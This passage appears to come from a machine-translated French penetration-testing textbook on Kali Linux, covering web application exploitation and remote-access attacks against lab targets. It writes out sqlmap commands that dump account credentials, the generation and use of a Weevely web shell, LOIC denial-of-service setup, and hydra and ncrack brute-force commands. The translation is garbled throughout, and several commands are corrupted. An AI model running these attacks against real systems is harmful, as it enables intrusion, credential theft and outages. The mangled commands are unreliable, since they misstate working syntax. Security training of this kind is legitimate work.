nombre de pages du site Web, ainsi que la complexité
structurelle du site, ainsi que
fonctionnement des modules sélectionnés pour détecter les
vulnérabilités).
Le Framework Metasploit n'a pas été conçu pour les
complexités des sites Web et
services Web; ceci est visible dans la quantité limitée de
résultats qui résultent de l'utilisation
ce produit par rapport à l'utilisation de scanners de
vulnérabilités spécialement conçus pour
sites Web et services Web. Néanmoins, étant donné qu'il est
toujours en cours de mise à jour, il
vaut la peine de surveiller les changements dans ses capacités
de numérisation.
L' application Websploit utilise également les modules wmap .
Extension des fonctionnalités des navigateurs Web
Les navigateurs Web sont conçus pour interagir avec les
services Web. En conséquence, il est naturel
qu'ils sont sélectionnés comme outils d'évaluation de la
vulnérabilité et d'exploitation.
Le meilleur exemple de ce type d'ensemble d'outils est le
Mantra de l'OWASP, une collection de
utilitaires de sécurité de partie construits sur le navigateur Web
Firefox. Le Mantra de l'OWASP prend en charge
Windows, Linux et Macintosh testent les systèmes et donne
accès aux utilitaires qui
soutenir les activités suivantes :
• Collecte d'informations : Ces utilitaires assurent la
reconnaissance passive,
signaler l'emplacement physique de la cible, découvrir le site
sous-jacent
technologies, recherche et test des hyperliens du site

Page 256
Chapitre 9
[ 239 ]
• Éditeurs : une collection d'utilitaires qui éditent, déboguent
et surveillent HTML, CSS,
et JavaScript
• Proxy : utilitaires qui fournissent des outils de gestion de
proxy, dont FoxyProxy,
un outil qui facilite les allers-retours entre les mandataires
• Utilitaires réseau : ces utilitaires fournissent des clients pour
FTP et SSH
communications et simplifier la gestion du cache DNS
• Audits applicatifs : Ils basculent entre différents agents
utilisateurs, accèdent aux
outils de développement Web, contrôlez ce qui est envoyé en
tant que référent HTTP sur un site par site
base, trouver les vulnérabilités d'injection SQL et XSS,
permettre aux testeurs de falsifier
les données, et l'accès aux outils Websecurify
• Divers : Générez des scripts, gérez les sessions et les
téléchargements, et
accéder aux fonctions de chiffrement, de déchiffrement et de
hashtag
Le cadre Mantra peut être utilisé pour faciliter une
reconnaissance semi-automatisée de
un site Web.
Dans l'exemple illustré dans la capture d'écran suivante, la page
de connexion Mutillidae a
été ouvert dans le navigateur Mantra. A l'aide du menu
déroulant (activé depuis le
logo bleu dans le coin supérieur droit), l'application SQL Inject
Me a été sélectionnée
parmi les outils disponibles et s'affiche dans le panneau de
gauche.

Page 257
Reconnaissance et exploitation des applications Web
[ 240 ]
Scanners de vulnérabilités spécifiques aux services Web
Les scanners de vulnérabilité sont des outils automatisés qui
explorent une application pour identifier les
signatures de vulnérabilités connues.
Kali est livré avec plusieurs scanners de vulnérabilités
préinstallés différents ; ils peuvent être
accessible en naviguant vers Kali Linux | Applications Web |
Vulnérabilité Web
Scanners . Les testeurs de pénétration utiliseront généralement
deux ou trois scanners complets
contre la même cible pour garantir des résultats valides. Notez
que certaines des vulnérabilités
les scanners incluent également une fonctionnalité d'attaque.
Les scanners de vulnérabilités sont assez "bruyants" et sont
généralement détectés par la victime.
Cependant, les analyses sont souvent ignorées dans le cadre
d'une vérification d'arrière-plan régulière sur
l'Internet. En fait, certains attaquants sont connus pour lancer
des analyses à grande échelle
contre une cible pour camoufler l'attaque réelle ou pour inciter
les défenseurs à désactiver
systèmes de détection pour réduire l'afflux de signalements
qu'ils doivent gérer.
Voici un aperçu rapide des scanners de vulnérabilité les plus
importants :
Application
La description
Arachnide
Un framework Ruby open source qui analyse les réponses HTTP
reçu lors de la numérisation pour valider les réponses et
éliminer
faux positifs.
GoLismero
Il mappe les applications Web et détecte les vulnérabilités
courantes. Les
les résultats sont enregistrés aux formats TXT, CVS, HTML et
RAW.
Nikto
Un scanner open source basé sur Perl qui permet l'évasion IDS
et l'utilisateur
les modifications apportées aux modules d'analyse ; cependant,
ce scanner Web "original" est
commence à montrer son âge, et n'est pas aussi précis que
certains des plus
scanners modernes.
Skipfish
Ce scanner effectue une analyse récursive et une analyse basée
sur un dictionnaire
pour générer un plan du site interactif du site Web ciblé qui est
annoté avec le résultat d'analyses de vulnérabilité
supplémentaires.
Véga
Il s'agit d'un scanner de vulnérabilité open source basé sur une
interface graphique. Comme il est écrit
en Java, il s'agit d'une multiplateforme (Linux, OS X et Windows)
et peut être
personnalisé par l'utilisateur.
w3af
Ce scanner fournit à la fois une interface graphique et en ligne
de commande pour
une plate-forme de test Python complète. Il mappe un site Web
cible
et recherche les vulnérabilités. Ce projet est acquis par Rapid7,
donc
il y aura une intégration plus étroite avec le framework
Metasploit dans
l'avenir.

Page 258
Chapitre 9
[ 241 ]
Application
La description
Wapiti
Il s'agit d'un scanner de vulnérabilité open source basé sur
Python.
Webscarab
Il s'agit du framework Java d'OWASP pour analyser HTTP et
protocoles HTTPS. Il peut agir comme un proxy d'interception,
un fuzzer et un
scanner de vulnérabilité simple.
Webshag
Il s'agit d'un robot d'exploration et d'un scanner de site Web
basé sur Python qui peut utiliser
évasion IDS complexe.
Websploit
Il s'agit d'un cadre pour les attaques de réseaux filaires et sans
fil.
La plupart des testeurs commencent à tester un site Web en
utilisant Nikto, un simple scanner (en particulier
en ce qui concerne les rapports) qui fournit généralement des
résultats précis mais limités ; une
un exemple de sortie de cette analyse est illustré dans la
capture d'écran suivante :
L'étape suivante consiste à utiliser des scanners plus avancés
qui numérisent un plus grand nombre de
vulnérabilités; à leur tour, ils peuvent prendre beaucoup plus
de temps pour se terminer. Il est
pas rare pour les analyses de vulnérabilité complexes (comme
déterminé par le nombre de pages
à numériser ainsi que la complexité du site, qui peut inclure
plusieurs pages qui
autoriser l'entrée de l'utilisateur telles que des fonctions de
recherche ou des formulaires qui collectent des données de
l'utilisateur pour un
base de données principale) prend plusieurs jours.

Page 259
Reconnaissance et exploitation des applications Web
[ 242 ]
L'un des scanners les plus efficaces en fonction du nombre de
vulnérabilités vérifiées
découvert est Vega de Subgraph. Comme le montre la capture
d'écran suivante, il scanne une cible
et classe les vulnérabilités comme élevée, moyenne, faible ou
informationnelle. Le testeur est
capable de cliquer sur les résultats identifiés pour "explorer"
des résultats spécifiques. Le testeur
peut également modifier les modules de recherche, qui sont
écrits en Java, pour se concentrer sur des
vulnérabilités ou identifier de nouvelles vulnérabilités.
Un autre scanner qui vaut la peine d'être utilisé est le Web
Application Attack and Audit Framework.
( w3af ), un scanner de sécurité d'applications Web open
source basé sur Python. Il offre
analyses de vulnérabilité préconfigurées prenant en charge des
normes telles que OWASP. Les
l'étendue des options du scanner a un prix : cela prend
beaucoup plus de temps que
d'autres scanners pour examiner une cible, et elle est sujette à
l'échec sur de longues périodes de test.
Une instance w3af configurée pour un audit complet d'un
exemple de site Web est affichée dans le
capture d'écran suivante :

Page 260
Chapitre 9
[ 243 ]
Kali inclut également des scanners de vulnérabilité spécifiques
aux applications. Par exemple,
WPScan est utilisé spécifiquement contre les applications CMS
WordPress .
Tester la sécurité avec des proxys côté client
Contrairement aux scanners de vulnérabilité automatisés, les
proxys côté client nécessitent
l'interaction humaine pour être efficace. Un proxy côté client
intercepte HTTP et
Le trafic HTTPS, permettant à un testeur d'intrusion d'examiner
les communications entre le
l'utilisateur et l'application. Il permet au testeur de copier les
données ou d'interagir avec les requêtes
qui sont envoyés à l'application.
Kali est livré avec plusieurs proxys côté client, notamment Burp
Suite, OWASP ZAP,
Paros, ProxyStrike, le scanner de vulnérabilités Vega et
WebScarab. Après de vastes
tests, nous en sommes venus à compter sur Burp Proxy, avec
ZAP comme outil de sauvegarde.

Page 261
Reconnaissance et exploitation des applications Web
[ 244 ]
Burp est principalement utilisé pour intercepter le trafic
HTTP(S) ; cependant, il fait partie d'un plus grand
suite d'outils qui a plusieurs fonctions supplémentaires, y
compris :
• Une araignée sensible aux applications qui explore le site
• Un scanner de vulnérabilité, incluant un séquenceur pour
tester le caractère aléatoire de
des jetons de session et un répéteur pour manipuler et
renvoyer les demandes entre
le client et le site Web (le scanner de vulnérabilité n'est pas
inclus avec le
version gratuite du proxy Burp qui est empaqueté dans Kali)
• Un outil d'intrusion qui peut être utilisé pour lancer des
attaques personnalisées (il existe
limitations de vitesse dans la version gratuite de l'outil inclus
avec Kali ; ceux-ci sont
supprimé si vous achetez la version commerciale du logiciel)
• La possibilité d'éditer des plugins existants ou d'en écrire de
nouveaux afin d'étendre la
nombre et type d'attaques pouvant être utilisées
Pour utiliser Burp, assurez-vous que votre navigateur Web est
configuré pour utiliser un proxy local ;
généralement, vous devrez ajuster les paramètres réseau pour
spécifier que HTTP et
Le trafic HTTPS doit utiliser l'hôte local (127.0.0.1) sur le port
8080.
Après avoir configuré le navigateur et le proxy pour qu'ils
fonctionnent ensemble, mappez manuellement le
application. Ceci est accompli en désactivant l'interception
proxy, puis
parcourir toute l'application. Suivez chaque lien, soumettez les
formulaires et connectez-vous à
autant de zones du site que possible. Un contenu
supplémentaire sera déduit de divers
réponses. Le plan du site remplira une zone sous l' onglet Cible
(automatique
l'exploration peut également être utilisée en faisant un clic
droit sur le site et en sélectionnant Spider This
hôte ; cependant, la technique manuelle donne au testeur la
possibilité de devenir
familier avec la cible, et il peut identifier les zones à éviter).
Une fois la cible mappée, définissez la Cible - Portée en
sélectionnant les branches dans
le plan du site et à l'aide de la commande Ajouter à la portée .
Une fois cette opération terminée, vous
peut masquer les éléments qui ne présentent pas d'intérêt sur
le plan du site à l'aide de filtres d'affichage. Un plan du site
créé à partir d'un site Web cible est illustré dans la capture
d'écran suivante :

Page 262
Chapitre 9
[ 245 ]
Une fois le spidering terminé, passez en revue manuellement le
répertoire et la liste des fichiers pour
toutes les structures qui ne semblent pas faire partie du site
Web public, ou qui apparaissent
être divulgués involontairement. Par exemple, les répertoires
intitulés admin, backup,
la documentation ou les notes doivent être examinées
manuellement.
Le test manuel de la page de connexion à l'aide d'un guillemet
simple comme entrée a produit une erreur
code suggérant qu'il peut être vulnérable à une attaque par
injection SQL ; un exemple de retour
du code d'erreur est affiché dans la capture d'écran suivante :

Page 263
Reconnaissance et exploitation des applications Web
[ 246 ]
La vraie force d'un proxy est sa capacité à intercepter et
modifier des commandes. Pour ça
exemple particulier, nous utiliserons le site Mutillidae, un site
"cassé" qui est installé
dans le cadre du framework de test Metasploitable pour
effectuer une attaque pour contourner SQL
authentification par injection.
Pour lancer cette attaque, assurez-vous que le proxy Burp est
configuré pour intercepter
communications en accédant à l' onglet Proxy et en
sélectionnant le sous-onglet Interception .
Cliquez sur le bouton Intercept is on , comme indiqué dans la
capture d'écran suivante. Quand ce
est terminée, ouvrez une fenêtre de navigateur et accédez à la
page de connexion Mutillidae en
en entrant <adresse IP>/mutillidae/index.php?page=login.php .
Saisir des variables
dans les champs nom et mot de passe, puis cliquez sur le
bouton de connexion.
Si vous revenez au proxy Burp, vous verrez que les informations
que l'utilisateur
entré dans le formulaire sur la page Web a été intercepté.

Page 264
Chapitre 9
[ 247 ]
Cliquez sur le bouton Action et sélectionnez l'option Envoyer à
l'intrus . Ouvrez le principal
l' onglet Intrus , et vous verrez quatre sous-onglets : Cible ,
Positions , Charges utiles et
Options , comme illustré dans la capture d'écran suivante. Si
vous sélectionnez Postes , vous
voir que cinq positions de charge utile ont été identifiées à
partir des informations interceptées.
Cette attaque utilisera le mode sniper du proxy Burp, qui prend
une seule entrée
à partir d'une liste fournie par le testeur et envoie cette entrée
à une seule position de charge utile
à la fois. Pour cet exemple, nous allons cibler le champ du nom
d'utilisateur, que nous soupçonnons est
vulnérable en fonction du message d'erreur renvoyé.

Page 265
Reconnaissance et exploitation des applications Web
[ 248 ]
Pour définir la position de la charge utile, nous sélectionnons le
sous-onglet Charges utiles .
Pour lancer l'attaque, sélectionnez Intruder dans le menu du
haut, puis sélectionnez Démarrer
Attaque . Le proxy itérera la liste de mots par rapport aux
positions de charge utile sélectionnées
en tant que requêtes HTTP légitimes, et il renverra les codes
d'état du serveur. Comme tu peux
voir dans la capture d'écran suivante, la plupart des options
produisent un code d'état de 200 (demande
réussi); cependant, certaines des données renvoient un code
d'état de 302 (requête trouvée ;
indique que la ressource demandée est actuellement située
sous un URI différent).

Page 266
Chapitre 9
[ 249 ]
L' état 302 indique des attaques réussies, et les données
obtenues peuvent être utilisées pour
connectez-vous avec succès au site cible.
Malheureusement, il s'agit d'un aperçu trop bref du proxy Burp
et de ses capacités.
La version gratuite incluse avec Kali suffira pour de nombreuses
tâches de test ; cependant,
les testeurs sérieux (et les attaquants) devraient envisager
d'acheter la version commerciale.

Page 267
Reconnaissance et exploitation des applications Web
[ 250 ]
Exploits de serveur
Comme ils ont une "surface d'attaque" étendue (canaux de
communication, logiciels clients,
systèmes d'exploitation de serveur, applications, middleware et
bases de données principales), web
les services sont vulnérables à plusieurs types d'attaques.
L'éventail des attaques possibles serait
exiger leur propre livre; par conséquent, nous ne montrerons
que quelques types pour mettre en évidence
les capacités de Kali.
Pour cet exemple, nous montrerons comment Kali peut être
utilisé pour lancer un
attaque par déni de service ( DoS ) contre un serveur réseau.
En général, attaquer le système d'exploitation d'un système
hôte qui fournit le Web
les services suivent la méthodologie décrite précédemment ;
cependant, leur architecture
est particulièrement vulnérable aux attaques DoS.
Kali comprend plusieurs outils qui sont décrits comme des
applications de test de résistance car
ils simulent des charges d'activité élevées sur un serveur afin
d'évaluer dans quelle mesure il
supportera le stress supplémentaire. Si le serveur ou ses
applications échouent, il a
subi un DoS.
De nombreux outils reposent sur l'incapacité d'un système IPv4
à gérer le nouveau IPv6
protocole (denail6, dos-new-ip6, flood_advertise6, etc.).
Cependant, l'outil d'attaque DoS le plus efficace - Low Orbit Ion
Cannon
( LOIC )—doit être ajouté manuellement à Kali en suivant les
étapes suivantes :
1. À l'aide de la commande apt-get install , installez les
packages suivants et
leurs dépendances : mono-gmcs , mono-mcs , monodevelop et
liblog4net-
cil-dev .
2. Téléchargez le LOIC depuis GitHub
( https://github.com/NewEraCracker/
LOIC/téléchargements ) dans un dossier séparé. Extrayez les
fichiers compressés dans le
dossier à l'aide de la commande unzip.
3. Naviguez jusqu'au dossier et compilez l'application à l'aide
du
commande suivante :
construction de mdtool
4. La version compilée de l'application sera dans le /<chemin>
bin/Debug/
Répertoire LOIC.exe .

Page 268
Chapitre 9
[ 251 ]
Une fois les paramètres d'attaque renseignés, LOIC peut être
lancé contre le
site cible. L'attaque est lancée à l'aide de l'interface graphique
intuitive, comme indiqué dans
la capture d'écran suivante :
Attaques spécifiques aux applications
Les attaques spécifiques aux applications sont plus nombreuses
que les attaques contre des opérations spécifiques
systèmes; lorsque l'on considère les erreurs de configuration,
les vulnérabilités et les erreurs logiques
pouvant affecter chaque candidature en ligne, il est surprenant
que toute candidature puisse être
considéré comme « sécurisé ». Nous soulignerons certaines des
attaques les plus importantes contre
services Web.
Identifiants d'accès par force brute
L'une des attaques initiales les plus courantes contre un site
Web ou ses services est un
attaque par force brute contre l'authentification d'accès -
deviner le nom d'utilisateur
et mot de passe. Cette attaque a un taux de réussite élevé car
les utilisateurs ont tendance à sélectionner
informations d'identification faciles à mémoriser ou à réutiliser,
et aussi parce que le système
les administrateurs ne contrôlent souvent pas les tentatives
d'accès multiples.

Page 269
Reconnaissance et exploitation des applications Web
[ 252 ]
Kali est livré avec hydra, un outil en ligne de commande, et
hydra-gtk, qui possède une interface graphique
interface. Les deux outils permettent à un testeur de forcer ou
d'itérer les noms d'utilisateur possibles
et des mots de passe pour un service spécifié. Plusieurs
protocoles de communication sont
pris en charge, y compris FTP, FTPS, HTTP, HTTPS, ICQ, IRC,
LDAP, MySQL, Oracle,
POP3, pcAnywhere, SNMP, SSH, VNC et autres. La capture
d'écran suivante montre
hydra utilise une attaque par force brute pour déterminer les
identifiants d'accès sur une page HTTP :
Attaques par injection contre des bases de données
La vulnérabilité la plus courante et exploitable dans les sites
Web est l'injection
vulnérabilité, qui se produit lorsque le site victime ne surveille
pas l'entrée de l'utilisateur,
permettant ainsi à l'attaquant d'interagir avec les systèmes
backend. Un attaquant peut fabriquer
les données d'entrée pour modifier ou voler le contenu d'une
base de données, placer un exécutable sur
le serveur ou émettez des commandes au système
d'exploitation.
L'un des outils les plus utiles pour évaluer les vulnérabilités
d'injection SQL est sqlmap ,
un outil Python qui automatise la reconnaissance et
l'exploitation de Firebird,
Bases de données Microsoft SQL, MySQL, Oracle, PostgreSQL,
Sybase et SAP MaxDB.
Nous allons démontrer une attaque par injection SQL contre la
base de données Mutillidae. La première
L'étape consiste à déterminer le serveur Web, le système de
gestion de base de données principal et
les bases de données disponibles.
Lancez une machine virtuelle Metasploitable et accédez au site
Mutillidae. Lorsque
ceci est terminé, passez en revue les pages Web pour en
identifier une qui accepte les entrées de l'utilisateur (par
exemple, le formulaire de connexion utilisateur qui accepte le
nom d'utilisateur et le mot de passe d'un
utilisateur); ces pages peuvent être vulnérables à l'injection SQL.
Ensuite, ouvrez Kali, et à partir d'un
invite de commande, entrez ce qui suit (en utilisant l'adresse IP
cible appropriée) :

Page 270
Chapitre 9
[ 253 ]
root@kali:~# sqlmap -u
'http://192.168.75.129/mutillidae/index.php?page=user-
info.php&username=admin&password=&user-info-php-
submit-
button=Afficher+Compte+Détails' --dbs
Sqlmap renverra des données, comme indiqué dans la capture
d'écran suivante :
La base de données la plus susceptible de stocker les données
de l'application est la base de données owasp10 ;
par conséquent, nous vérifierons toutes les tables de cette base
de données à l'aide de la commande suivante :
root@kali:~# sqlmap -u
'http://192.168.75.129/mutillidae/index.php?page=user-
info.php&username=admin&password=&user-info-php-
submit-
button=Afficher+Compte+Détails' –D owasp10 --tables
Les données renvoyées lors de l'exécution de cette commande
sont illustrées dans la capture d'écran suivante :

Page 271
Reconnaissance et exploitation des applications Web
[ 254 ]
Sur les six tableaux qui ont été énumérés, l'un était intitulé
comptes . Nous tenterons de
vider les données de cette partie de la table. En cas de succès,
les informations d'identification du compte seront
nous permettent de revenir à la base de données si d'autres
attaques par injection SQL échouent. Pour jeter le
identifiants, utilisez la commande suivante :
root@kali:~# sqlmap -u
'http://192.168.75.129/mutillidae/index.php?page=user-
info.php&username=admin&password=&user-info-php-
submit-
button=View+Account+Details' –D owasp10 – T account --
dump
Des attaques similaires peuvent être utilisées contre la base de
données pour extraire des numéros de carte de crédit.
Maintien de l'accès avec des portes dérobées Web
Une fois qu'un serveur Web et ses services ont été compromis,
il est important de s'assurer
que l'accès sécurisé peut être maintenu. Ceci est généralement
accompli à l'aide d'un
web shell—un petit programme qui fournit un accès furtif par
une porte dérobée et permet l'utilisation
de commandes système pour faciliter les activités de post-
exploitation.
Kali est livré avec plusieurs coques Web ; ici, nous utiliserons un
shell Web PHP populaire
appelé Weevely .
Weevely simule une session Telnet et permet au testeur ou à
l'attaquant d'en profiter
de plus de 30 modules pour les tâches de post-exploitation,
dont les suivants :
• Parcourir le système de fichiers cible
• Transfert de fichiers vers et depuis le système compromis
• Réalisation d'audits pour les erreurs de configuration de
serveur courantes

Page 272
Chapitre 9
[ 255 ]
• Forçage brutal des comptes SQL via le système cible
• Génération de shells TCP inversés
• Exécuter des commandes sur des systèmes distants qui ont
été compromis,
même si des restrictions de sécurité PHP ont été appliquées
Enfin, Weevely s'efforce de masquer les communications dans
les cookies HTTP pour
éviter d'être repéré. Pour créer Weevely, exécutez la
commande suivante à partir du
invite de commande :
root@kali:~# génère régulièrement <mot de passe> <chemin>
Cela créera le fichier weevely.php dans le répertoire racine.
Exécuter des commandes sur
systèmes distants qui ont été compromis, même si les
restrictions de sécurité PHP ont
été appliqué :
Utiliser une vulnérabilité de téléchargement de fichier ou tout
autre compromis, y compris ceux qui
donner accès aux fonctions de téléchargement du fichier
meterpreter, télécharger weevely.php sur le
site Web compromis.
Pour communiquer avec le shell Web, exécutez la commande
suivante à partir du
invite de commande, en s'assurant que l'adresse IP cible, le
répertoire et le mot de passe
les variables sont modifiées pour refléter celles du système
compromis :
root@kali:~# weevely http://<adresse IP cible> <répertoire>
<mot de passe>

Page 273
Reconnaissance et exploitation des applications Web
[ 256 ]
Dans l'exemple illustré dans la capture d'écran suivante, nous
avons vérifié que nous sommes
connecté au shell Web à l'aide de la commande whoami (qui
identifie le bon
répertoire) et la commande ls afin d'obtenir une liste de fichiers
(qui confirme à nouveau le
source de la connexion comme weevely.php ). La commande
cat /etc/password était
utilisé pour afficher les mots de passe.
Le shell Web peut également être utilisé pour établir une
connexion shell inversée vers le
testeur, en utilisant Netcat ou Metasploit Framework comme
écouteur local.
Sommaire
Dans ce chapitre, nous avons examiné les sites Web et les
services qu'ils fournissent aux
utilisateurs autorisés du point de vue d'un attaquant. Nous
avons appliqué la kill chain
perspective des services Web afin de comprendre la bonne
application de
reconnaissance et analyse des vulnérabilités.
Plusieurs scanners de vulnérabilités différents ont été
présentés ; nous nous sommes concentrés sur la fabrication et
en utilisant des modifications apportées aux scanners existants
pour soutenir l'évaluation des sites Web et
les services Web, l'utilisation de scanners de vulnérabilité basés
sur un navigateur et la vulnérabilité
des scanners spécialement conçus pour évaluer les sites Web et
leurs services.
Seuls quelques exploits sélectionnés ont été examinés, et nous
avons terminé le chapitre avec un
examen d'un shell Web spécifique aux services Web.
Dans le prochain chapitre, nous apprendrons comment
identifier et attaquer les accès distants
communications qui connectent les utilisateurs aux services
Web.

Page 274
Exploiter l'accès à distance
Communication
Au chapitre 9 , Reconnaissance et exploitation des applications
Web , nous avons appliqué les
méthodologie de la chaîne de destruction contre les
applications Web. Nous avons revu la reconnaissance,
analyse des vulnérabilités et méthodologies d'exploitation
propres aux sites Web
et d'autres applications. Nous avons également examiné les
outils uniques requis pour
évaluer les applications Web, en particulier les proxys côté
client et la post-exploitation
des outils tels que les shells Web.
Dans ce chapitre, nous nous concentrerons sur la
compromission des communications d'accès à distance pour
les appareils et les applications qui ont proliféré sur Internet.
Les attaquants profitent de l'omniprésence de ces accès à
distance
communication pour atteindre les objectifs suivants :
• Exploiter les canaux de communication préexistants pour
accéder directement à distance à
systèmes cibles
• Interception des communications
• Refuser aux utilisateurs authentifiés l'accès aux
communications régulières et les forcer
d'utiliser des canaux non sécurisés qui pourraient être
vulnérables à d'autres attaques
Étant donné que la plupart des utilisateurs ont le sentiment
d'utiliser des outils de communication « sécurisés »
(même les banques s'appuient sur les protocoles SSL pour
sécuriser les opérations bancaires en ligne), ces attaques
peuvent
avoir un impact significatif à la fois sur la communication qui
est compromise comme
ainsi que la confiance de la victime dans d'autres
communications en ligne.
Ce chapitre se concentrera sur les phases de reconnaissance et
d'exploitation de la kill chain
en ce qui concerne les communications d'accès à distance. Il ne
couvrira pas des sujets tels que
numérotation de guerre, voix sur IP et problèmes de téléphonie
connexes, systèmes hautement propriétaires
comme les kiosques spécialisés et les applications complexes
qui méritent leur propre livre.

Page 275
Exploiter les communications d'accès à distance
[ 258 ]
À la fin de ce chapitre, vous aurez appris ce qui suit :
• Exploitation des protocoles de communication du système
d'exploitation (RDP et SSH)
• Exploitation d'applications d'accès à distance (VNC)
• Configuration de Kali pour l'analyse Secure Sockets Layerv2
• Reconnaissance et exploitation de Secure Sockets Layer, y
compris
attaques de type man-in-the-middle et déni de service
• Attaquer un réseau privé virtuel
Exploiter le système d'exploitation
protocoles de communication
Certains protocoles transmettent les identifiants d'accès en
clair (Telnet et FTP). Utiliser un paquet
un renifleur tel que Wireshark permettra à un attaquant
d'intercepter et de réutiliser les informations d'identification.
Cependant, la plupart des protocoles d'accès à distance, en
particulier ceux intégrés dans le
système d'exploitation, sont désormais protégés par des
contrôles d'accès et un cryptage.
Bien que cela ajoute un certain degré de sécurité, ils sont
toujours sujets à des attaques qui peuvent
se produire en raison de mauvaises configurations ou de
l'utilisation de mauvaises clés de cryptage. Dans cette section,
nous examinerons d'autres risques pouvant être exploités pour
compromettre soi-disant sécurisés
canaux de communication.
Compromettre le protocole de bureau à distance
Remote Desktop Protocol ( RDP ) est un protocole de
communication propriétaire de Microsoft
qui permet à un client de se connecter à un autre ordinateur à
l'aide d'une interface graphique.
Bien que le protocole soit crypté, l'accès au serveur peut être
obtenu si l'attaquant
devine le nom d'utilisateur et le mot de passe.
Il convient de noter que le compromis le plus courant de RDP
est
en utilisant l'ingénierie sociale. L'utilisateur est contacté par un
service distant
technicien qui convainc l'utilisateur qu'il a besoin d'un accès à
distance à
réparer quelque chose sur le système de l'utilisateur. Les
attaques de logiciels malveillants qui ciblent le
Les protocoles RDP sont également de plus en plus courants.

Page 276
Chapitre 10
[ 259 ]
Du point de vue d'un testeur (ou d'un attaquant), la première
étape pour compromettre le RDP d'une cible
service est de localiser le serveur RDP et de caractériser la force
de la cryptographie
qui est en cours d'utilisation. Cette reconnaissance est
normalement effectuée à l'aide d'un outil tel que nmap ,
configuré pour rechercher le port RDP standard 3389.
L' outil nmap inclut désormais des scripts spécialisés qui
fournissent des détails supplémentaires sur
RDP, y compris la configuration du cryptage. Si le temps le
permet, et si la furtivité est
pas un problème, ils doivent être utilisés lors de la phase de
numérisation initiale. La ligne de commande
pour appeler le script qui énumère les protocoles de
chiffrement pris en charge, procédez comme suit :
root@kali:~# nmap – p 3389 –-script rdp-enum-encryption
<IP>
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Certaines vulnérabilités RDP ont été identifiées (notamment
MS12-020), et celles-ci peuvent
être exploité à distance à l'aide de paquets spécialement
construits.
Pour déterminer si la version actuelle de RDP est vulnérable,
utilisez le
nmap en appelant la ligne de commande suivante :
root@kali:~# nmap –sV -p 3389 --script rdp-vuln-ms12-020
<IP>

Page 277
Exploiter les communications d'accès à distance
[ 260 ]
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Une fois qu'un système vulnérable a été identifié à l'aide de
nmap , il peut être exploité
en utilisant l' auxiliaire/dos/windows/rdp/ms12_020_ de
Metasploit Framework
module maxchannelids pour provoquer un déni de service.
La méthode la plus courante pour compromettre RDP consiste
à utiliser une attaque par force brute basée sur
sur un dictionnaire des noms d'utilisateur et mots de passe les
plus courants (spécifiques à la cible
les dictionnaires peuvent également être construits pour être
spécifiques à une cible à l'aide d'outils tels que CeWL et
croquer ; les tentatives de force brute utilisant ces dictionnaires
sont plus rapides que les tentatives utilisant
dictionnaires génériques, et sont plus furtifs car ils génèrent
moins de trafic réseau).
Kali fournit plusieurs outils d'accès par force brute, notamment
hydra , medusa , ncrack ,
et patateur . Grâce à des tests, nous avons trouvé ncrack pour
être le plus fiable en termes
de rapidité et d'efficacité.
Des listes de noms d'utilisateur et de mots de passe courants
sont disponibles auprès de plusieurs
sources. La plupart des outils de craquage, en particulier hydra ,
ncrack et john (John
l'Éventreur), incluez des listes dans le répertoire personnel de
l'application. Les testeurs peuvent
téléchargez également des listes de divers types à partir de
sources en ligne. Listes dérivées
provenant de comptes d'utilisateurs compromis sont
particulièrement utiles car ils
reflètent l'utilisation réelle des informations d'authentification.
Peu importe
quelle liste vous utilisez, vous pouvez la personnaliser pour le
test en ajoutant
noms des employés actuels et anciens (pour les noms
d'utilisateur) ou listes de mots
qui ont été créés à l'aide d'outils tels que CeWL, qui explore le
le site Web de target pour créer des mots d'une longueur
définie.

Page 278
Chapitre 10
[ 261 ]
L' outil ncrack est un outil de craquage d'authentification à
grande vitesse qui prend en charge le FTP,
Protocoles HTTP(S), POP3, RDP, SMB, SSH, Telnet et VNC. Il est
invoqué depuis le
fenêtre de terminal à l'aide de la commande suivante :
root@kali:~# ncrack -vv -U user.lst -P password.list
<IP cible> :<Port cible>
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
L' outil ncrack a découvert les identifiants d'accès pour tous les
utilisateurs dans environ
1700 secondes. Cependant, le temps nécessaire dépendra de la
taille des dictionnaires utilisés et combien de suppositions
doivent être faites avant d'obtenir
un coup réussi.

Page 279
Exploiter les communications d'accès à distance
[ 262 ]
Compromis Secure Shell
Le protocole Secure Shell ( SSH ) est un protocole réseau utilisé
pour établir un
canal crypté sur un réseau ouvert entre un serveur et un client.
En général,
une paire de clés publique-privée permet aux utilisateurs de se
connecter à un système sans avoir besoin du
le mot de passe. La clé publique est présente sur tous les
systèmes qui nécessitent une connexion sécurisée,
tandis que l'utilisateur garde la clé privée secrète.
L'authentification est basée sur le privé
clé; SSH vérifie la clé privée par rapport à la clé publique. Sur les
systèmes cibles, le
la clé publique est vérifiée par rapport à une liste de clés
autorisées qui sont autorisées à
accéder au système. Ce canal de communication prétendument
sécurisé échoue lorsque le
la clé publique n'est pas cryptographiquement forte et peut
être devinée.
Comme RDP, SSH est vulnérable à une attaque par force brute
qui devine l'accès de l'utilisateur
crédits. Pour cet exemple particulier, nous utiliserons un outil
appelé hydra . L' hydre
est probablement le plus ancien outil de force brute et est
certainement le plus riche en fonctionnalités
outil. Il prend également en charge les attaques contre le plus
grand nombre de protocoles cibles.
L' outil hydra peut être trouvé en accédant à Kali Linux |
Attaques par mot de passe |
Attaques en ligne , et il peut également être invoqué
directement à partir de la ligne de commande. Là
existe deux versions d' hydra : la version en ligne de commande
( hydra ) et la version GUI
(hydre-gtk). Pour cet exemple, nous appellerons hydra à partir
de la ligne de commande en utilisant
la commande suivante :
root@kali:~# hydra -s 22 -v -V -L <chemin/nom du fichier>
-P <chemin/nom du fichier> -t 8 <IP cible><protocole>
Les paramètres de la commande sont décrits dans la liste
suivante :
• -s désigne le port à utiliser. Bien qu'il n'ait pas besoin d'être
saisi lorsque le port par défaut est destiné à être utilisé, il est
utilisé pour
supprimer les ambiguïtés et parce qu'il accélère les tests, dans
ce cas.
• -v et -V sélectionnent la verbosité maximale des rapports.
• -L sélectionne le nom d'utilisateur ou le fichier de nom
d'utilisateur.
• -P sélectionne le fichier de mot de passe.
• -t sélectionne le nombre de tâches ou de connexions
parallèles. Plus le
nombre, plus le test sera rapide. Cependant, si le nombre est
trop
élevé, des erreurs peuvent être introduites et des mots de
passe corrects seront manqués.

Page 280
Chapitre 10
[ 263 ]
La capture d'écran suivante présente la sortie détaillée du
premier
attaque de force brute:
Lorsqu'une connexion réussie est établie à l'aide du
